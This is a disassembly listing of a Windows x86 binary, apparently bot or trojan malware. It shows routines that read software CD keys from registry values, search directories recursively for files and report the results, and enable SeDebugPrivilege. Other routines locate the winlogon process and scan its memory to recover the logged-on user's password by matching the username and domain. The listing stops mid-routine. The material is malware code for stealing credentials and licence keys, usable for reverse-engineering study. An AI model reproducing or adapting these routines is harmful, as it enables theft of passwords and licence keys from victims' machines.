loc_40888C: ; CODE XREF: sub_408824+5Fj
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4088AC
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_43EB80 ; SendMessageA
loc_4088AC: ; CODE XREF: sub_408824+71j
cmp [ebp+var_7C], ebx
jz short loc_408885
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4088CF
push ebx
push ebx
push 42Ch
push edi
call dword_43EB80 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4088D2
; ---------------------------------------------------------------------------
loc_4088CF: ; CODE XREF: sub_408824+96j
mov [ebp+arg_4], ebx
loc_4088D2: ; CODE XREF: sub_408824+A9j
push [ebp+arg_4]
call sub_417889
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_408885
push [ebp+arg_4]
call sub_417889
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4088F9
xor ebx, ebx
inc ebx
jmp loc_408A55
; ---------------------------------------------------------------------------
loc_4088F9: ; CODE XREF: sub_408824+CBj
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408916
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_43EB80 ; SendMessageA
loc_408916: ; CODE XREF: sub_408824+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_417090
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408931
mov ecx, 0A0h
loc_408931: ; CODE XREF: sub_408824+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_40893B
push 78h
pop eax
loc_40893B: ; CODE XREF: sub_408824+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408980
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_43EB80 ; SendMessageA
loc_408980: ; CODE XREF: sub_408824+14Aj
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_40899D
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_43EB80 ; SendMessageA
loc_40899D: ; CODE XREF: sub_408824+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4089DB
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_43EB80 ; SendMessageA
loc_4089DB: ; CODE XREF: sub_408824+1A3j
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_4089F6
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_43EB80 ; SendMessageA
loc_4089F6: ; CODE XREF: sub_408824+1C0j
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408A0F
push ebx
push ebx
push 43Eh
push edi
call dword_43EB80 ; SendMessageA
loc_408A0F: ; CODE XREF: sub_408824+1DBj
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408A2C
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_43EB80 ; SendMessageA
loc_408A2C: ; CODE XREF: sub_408824+1F4j
push [ebp+var_4]
call sub_41793B
push esi
call sub_41793B
pop ecx
pop ecx
push edi
call dword_43EAC4 ; IsWindow
test eax, eax
jz short loc_408A55
push ebx
push ebx
push 40Bh
push edi
call dword_43EB80 ; SendMessageA
loc_408A55: ; CODE XREF: sub_408824+63j
; sub_408824+D0j ...
push edi
call dword_43EBD4 ; DestroyWindow
mov eax, ebx
loc_408A5E: ; CODE XREF: sub_408824+39j
pop edi
pop esi
pop ebx
leave
retn
sub_408824 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408A63 proc near ; CODE XREF: sub_40EC43+5818p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_42AA0C, ebx
mov [ebp+var_C], 80h
jz loc_408C0F
push esi
push edi
mov eax, offset off_42AA0C
mov esi, offset dword_42AA18
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408A93: ; CODE XREF: sub_408A63+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43EB94 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43EA30 ; RegQueryValueExA
test eax, eax
jnz loc_408BF6
mov eax, [esi]
cmp eax, ebx
jz loc_408BBA
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_416FB6
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_4176A8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408BF6
push eax
jmp short loc_408B23
; ---------------------------------------------------------------------------
loc_408B0E: ; CODE XREF: sub_408A63+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_408B37
push [ebp+var_8]
loc_408B23: ; CODE XREF: sub_408A63+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_418D0C
add esp, 0Ch
test eax, eax
jnz short loc_408B0E
jmp short loc_408BAF
; ---------------------------------------------------------------------------
loc_408B37: ; CODE XREF: sub_408A63+BBj
push 3Dh
push dword ptr [esi+4]
call sub_418C50
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_408B76
push offset asc_42BC20 ; "="
push eax
call sub_41886E
push offset asc_42BC20 ; "="
push ebx
call sub_41886E
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_416FB6
add esp, 20h
jmp short loc_408B8A
; ---------------------------------------------------------------------------
loc_408B76: ; CODE XREF: sub_408A63+E5j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_416FB6
add esp, 10h
loc_408B8A: ; CODE XREF: sub_408A63+111j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
lea eax, [ebp+var_2F0]
push eax
call sub_40BD8D
add esp, 18h
loc_408BAF: ; CODE XREF: sub_408A63+D2j
push [ebp+var_8]
call sub_417600
pop ecx
jmp short loc_408BF6
; ---------------------------------------------------------------------------
loc_408BBA: ; CODE XREF: sub_408A63+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
lea eax, [ebp+var_2F0]
push eax
call sub_40BD8D
add esp, 28h
loc_408BF6: ; CODE XREF: sub_408A63+60j
; sub_408A63+A2j ...
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_408A93
pop edi
pop esi
loc_408C0F: ; CODE XREF: sub_408A63+19j
pop ebx
leave
retn
sub_408A63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408C12 proc near ; DATA XREF: sub_40EC43+3D16o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_4177B0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408C67
lea eax, [ebp+var_114]
push eax
call sub_4177B0
pop ecx
mov [ebp+eax+var_115], bl
loc_408C67: ; CODE XREF: sub_408C12+3Fj
lea eax, [ebp+var_218]
push eax
push offset dword_42BC80
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41752A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408CAC
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D476
add esp, 14h
loc_408CAC: ; CODE XREF: sub_408C12+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_408D2A
push eax
lea eax, [ebp+var_49C]
push offset dword_42BC44
push eax
call sub_416FB6
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408D0A
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40D476
add esp, 14h
loc_408D0A: ; CODE XREF: sub_408C12+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40BD8D
push [ebp+var_10]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
sub_408C12 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D2A proc near ; CODE XREF: sub_408C12+B9p
; sub_408D2A+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_5 ; "%s\\*"
push esi
push eax
call sub_41752A
mov edi, dword_4230BC
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408DE7
loc_408D76: ; CODE XREF: sub_408D2A+BBj
test [ebp+var_144], 10h
jz short loc_408DD3
cmp [ebp+var_118], 2Eh
jnz short loc_408D9A
cmp [ebp+var_117], 0
jz short loc_408DD3
cmp [ebp+var_117], 2Eh
jz short loc_408DD3
loc_408D9A: ; CODE XREF: sub_408D2A+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41752A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408D2A
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408DD3: ; CODE XREF: sub_408D2A+53j
; sub_408D2A+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_4230B8 ; FindNextFileA
test eax, eax
jnz short loc_408D76
loc_408DE7: ; CODE XREF: sub_408D2A+4Aj
push [ebp+var_4]
call dword_4230AC ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41752A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_408E6D
loc_408E1E: ; CODE XREF: sub_408D2A+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41752A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_4230B8 ; FindNextFileA
test eax, eax
jnz short loc_408E1E
loc_408E6D: ; CODE XREF: sub_408D2A+F2j
push esi
call dword_4230AC ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408D2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E7C proc near ; DATA XREF: sub_40EC43+51E6o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_40B5A0
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_408EBB
cmp eax, 2
jz short loc_408EBB
push offset dword_42BF38
jmp loc_408FFA
; ---------------------------------------------------------------------------
loc_408EBB: ; CODE XREF: sub_408E7C+2Ej
; sub_408E7C+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_414EAB
pop ecx
test eax, eax
pop ecx
jz loc_408FF5
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4230E0 ; LoadLibraryA
mov esi, dword_4230DC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_43E7D4, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_43E7C8, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_43E9D8, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_43E7D0, eax
call esi ; GetProcAddress
mov dword_43E7CC, eax
call sub_40904E
test eax, eax
mov [ebp+arg_0], eax
jz loc_408FC8
mov esi, dword_4230D8
mov edi, 400h
mov ebx, offset dword_43D7C8
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_43DFC8
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_43E9DC
push [ebp+arg_0]
jnz short loc_408F74
call sub_4091D7
jmp short loc_408F79
; ---------------------------------------------------------------------------
loc_408F74: ; CODE XREF: sub_408E7C+EFj
call sub_40937B
loc_408F79: ; CODE XREF: sub_408E7C+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_408FC1
cmp dword_43E9DC, 0
jnz short loc_408FA8
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset dword_42BDD8
push 200h
push eax
call sub_41752A
add esp, 18h
jmp short loc_408FDB
; ---------------------------------------------------------------------------
loc_408FA8: ; CODE XREF: sub_408E7C+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_408FB8
call sub_4094A8
jmp short loc_408FBD
; ---------------------------------------------------------------------------
loc_408FB8: ; CODE XREF: sub_408E7C+133j
call sub_40953F
loc_408FBD: ; CODE XREF: sub_408E7C+13Aj
pop ecx
push eax
jmp short loc_408FCD
; ---------------------------------------------------------------------------
loc_408FC1: ; CODE XREF: sub_408E7C+101j
push offset dword_42BD80
jmp short loc_408FCD
; ---------------------------------------------------------------------------
loc_408FC8: ; CODE XREF: sub_408E7C+B6j
push offset dword_42BD30
loc_408FCD: ; CODE XREF: sub_408E7C+143j
; sub_408E7C+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_408FDB: ; CODE XREF: sub_408E7C+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_414EAB
pop ecx
pop ecx
push [ebp+var_8]
call dword_4230D4 ; FreeLibrary
pop ebx
jmp short loc_409008
; ---------------------------------------------------------------------------
loc_408FF5: ; CODE XREF: sub_408E7C+4Ej
push offset dword_42BCE0
loc_408FFA: ; CODE XREF: sub_408E7C+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_409008: ; CODE XREF: sub_408E7C+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_40902F
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_40D476
add esp, 14h
loc_40902F: ; CODE XREF: sub_408E7C+191j
lea eax, [ebp+var_29C]
push eax
call sub_40BD8D
push [ebp+var_18]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_408E7C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40904E proc near ; CODE XREF: sub_408E7C+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_4230EC
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_4230E8
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_43E7D4
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_43E7D4
test eax, eax
jnz short loc_40913B
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_40913B
xor ecx, ecx
mov ebx, ebp
inc ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_40913B
loc_4090D7: ; CODE XREF: sub_40904E+EBj
cmp word ptr [ebx+8], 5
jnz short loc_40912E
push 0
push 0
call dword_43E7C8
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_43E9D8
test eax, eax
jnz short loc_40911F
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_418D63
pop ecx
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jnz short loc_409153
loc_40911F: ; CODE XREF: sub_40904E+AAj
test edi, edi
jz short loc_40912A
push edi
call dword_43E7D0
loc_40912A: ; CODE XREF: sub_40904E+D3j
mov eax, [esp+28h+var_10]
loc_40912E: ; CODE XREF: sub_40904E+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_4090D7
loc_40913B: ; CODE XREF: sub_40904E+6Dj
; sub_40904E+7Aj ...
xor edi, edi
loc_40913D: ; CODE XREF: sub_40904E+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
mov eax, edi
loc_40914B: ; CODE XREF: sub_40904E+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_409153: ; CODE XREF: sub_40904E+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_4091BC
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_409169: ; CODE XREF: sub_40904E+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_418D63
pop ecx
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jnz short loc_4091D0
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_418D63
pop ecx
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jnz short loc_4091AE
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4091AE: ; CODE XREF: sub_40904E+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_409169
loc_4091BC: ; CODE XREF: sub_40904E+10Fj
test edi, edi
jz short loc_4091C7
push edi
call dword_43E7D0
loc_4091C7: ; CODE XREF: sub_40904E+170j
mov edi, [esp+28h+var_4]
jmp loc_40913D
; ---------------------------------------------------------------------------
loc_4091D0: ; CODE XREF: sub_40904E+13Cj
xor eax, eax
jmp loc_40914B
sub_40904E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091D7 proc near ; CODE XREF: sub_408E7C+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call dword_4230FC ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_409200
xor eax, eax
jmp loc_409378
; ---------------------------------------------------------------------------
loc_409200: ; CODE XREF: sub_4091D7+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call dword_4230F8 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_4230EC
push 8
call esi ; GetProcessHeap
mov edi, dword_4230E8
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, dword_4230F4
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_409250
xor esi, esi
jmp loc_40936B
; ---------------------------------------------------------------------------
loc_409250: ; CODE XREF: sub_4091D7+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call dword_4230F0 ; VirtualQueryEx
test eax, eax
jz loc_40935A
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_40935A
test [ebp+var_2B], 1
jnz loc_40935A
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_40935A
loc_4092B3: ; CODE XREF: sub_4091D7+110j
push edi
push offset dword_43D7C8
call sub_422752
pop ecx
test eax, eax
pop ecx
jnz short loc_4092DB
lea eax, [edi+200h]
push eax
push offset dword_43DFC8
call sub_422752
pop ecx
test eax, eax
pop ecx
jz short loc_4092EB
loc_4092DB: ; CODE XREF: sub_4091D7+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jb short loc_4092B3
jmp short loc_40935A
; ---------------------------------------------------------------------------
loc_4092EB: ; CODE XREF: sub_4091D7+102j
test edi, edi
jz short loc_40935A
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call dword_4230B4 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_409326
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call dword_4230B0 ; FileTimeToSystemTime
test eax, eax
jz short loc_409326
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_409326: ; CODE XREF: sub_4091D7+12Bj
; sub_4091D7+13Dj
movzx eax, byte ptr [edi+42Dh]
mov dword_43E9E8, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_43E9E0, eax
mov dword_43E9E4, edi
loc_40935A: ; CODE XREF: sub_4091D7+90j
; sub_4091D7+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_40936B: ; CODE XREF: sub_4091D7+74j
push [ebp+var_4]
call dword_423078 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_409378: ; CODE XREF: sub_4091D7+24j
pop esi
leave
retn
sub_4091D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40937B proc near ; CODE XREF: sub_408E7C:loc_408F74p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push [ebp+arg_0]
push 0
push 410h
call dword_4230FC ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_40939A
leave
retn
; ---------------------------------------------------------------------------
loc_40939A: ; CODE XREF: sub_40937B+1Bj
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_4230F8 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_409462
mov edi, dword_4230EC
loc_4093C4: ; CODE XREF: sub_40937B+E1j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_4230F0 ; VirtualQueryEx
test eax, eax
jz short loc_409450
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_409456
test [ebp+var_13], 1
jnz short loc_409456
push ecx
push 8
call edi ; GetProcessHeap
push eax
call dword_4230E8 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call dword_4230F4 ; ReadProcessMemory
test eax, eax
jz short loc_409442
push offset dword_43D7C8
push esi
call sub_422752
pop ecx
test eax, eax
pop ecx
jnz short loc_409442
lea eax, [esi+400h]
push offset dword_43DFC8
push eax
call sub_422752
pop ecx
test eax, eax
pop ecx
jz short loc_409474
loc_409442: ; CODE XREF: sub_40937B+9Dj
; sub_40937B+AEj
push esi
push 0
call edi ; GetProcessHeap
push eax
call dword_4230E4 ; RtlFreeHeap
jmp short loc_409456
; ---------------------------------------------------------------------------
loc_409450: ; CODE XREF: sub_40937B+5Bj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_409456: ; CODE XREF: sub_40937B+6Fj
; sub_40937B+75j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_4093C4
loc_409462: ; CODE XREF: sub_40937B+3Dj
xor esi, esi
loc_409464: ; CODE XREF: sub_40937B+12Bj
push [ebp+arg_0]
call dword_423078 ; CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409474: ; CODE XREF: sub_40937B+C5j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_43E9E0, ebx
mov dword_43E9E4, eax
cmp [eax], cl
jnz short loc_409496
cmp [eax+1], cl
jz short loc_40949E
loc_409496: ; CODE XREF: sub_40937B+114j
; sub_40937B+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_409496
loc_40949E: ; CODE XREF: sub_40937B+119j
mov eax, [ebp+arg_4]
xor esi, esi
inc esi
mov [eax], ecx
jmp short loc_409464
sub_40937B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094A8 proc near ; CODE XREF: sub_408E7C+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_43E9DC
push esi
mov esi, dword_4230EC
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
